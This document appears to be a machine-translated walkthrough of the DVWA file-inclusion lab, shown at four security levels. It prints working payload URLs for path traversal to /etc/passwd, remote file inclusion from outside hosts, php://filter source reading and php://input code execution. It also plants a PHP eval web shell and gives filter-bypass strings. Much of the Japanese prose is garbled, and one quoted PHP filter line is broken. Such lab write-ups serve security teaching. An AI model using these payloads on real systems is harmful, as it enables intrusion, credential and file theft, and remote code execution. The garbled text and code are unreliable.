日付:2019年7月28日20時五十八分29秒
更新:
著者:Bay0netの
説明:
0x01の、脆弱性を導入
ファイルが含まれている場合は、関係なく含まれているファイルの種類、優先順位はとしてみてくださいませんphp
ファイルの実行。
ファイルの内容が持っている場合php
に実行されるコードphp
のコードを、結果のコードの実行を返します。
ファイルの内容ではない場合php
のコードは、印刷された文書の内容を置きます。
0x02の、低セキュリティレベル
ソースを表示
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
サーバーは、取得page
任意のフィルタリングを行わず、値を。
ファイルが含まれています
# 原 URL
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
# 本地文件包含,读文件(绝对路径 或 相对路径)
http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd
# 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com
シェルを取得します。
ローカルファイルには、トロイの木馬、トロイの木馬ファイルが置かれている単語が含まれている/tmp/1.txt
次のように、
<?php @eval($_POST["gg"]); ?>

擬似プロトコルファイル読み取り
0x01
すべてのphp
ファイルはコードとして実行されているので、あなたがソースコードを読むことができない、場合、ファイル、そして私たちは読みする方法を見つける必要があります。flag
php
flag
# 直接读取,PHP 代码直接执行
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
# 利用伪协议读取源码
http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

最初の行をコピーし、直接base64
缶を復号します。
擬似プロトコルのコマンドを実行
用いたphp://input
擬似プロトコル。
URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

0x03の、ミディアムセキュリティレベル
ソースを表示
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = ( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
いくつかのものをフィルタリングし、array
そこにあります。
回避策
バイパス絶対パスを使用して1、。
図2に示すように、使用str_replace()
する機能を、書き換え可能な方法をバイパスするために使用することができます
htthttp://p:// -> http://
..././ -> ../
0x04が、高セキュリティレベル
ソースを表示
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
次の2つの条件は、エラーを満たしています:
- 上を通過
page
されていませんfile*
- $ファイルは同じではありません
include.php
回避策
図1に示すように、バイパス擬似プロトコルを使用。
http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd
2、URL、キーワードが含まれています
# 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
http://vps.ip:9090/file.html
0x05、Impossible Security Level
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
写死了文件名,无解。。。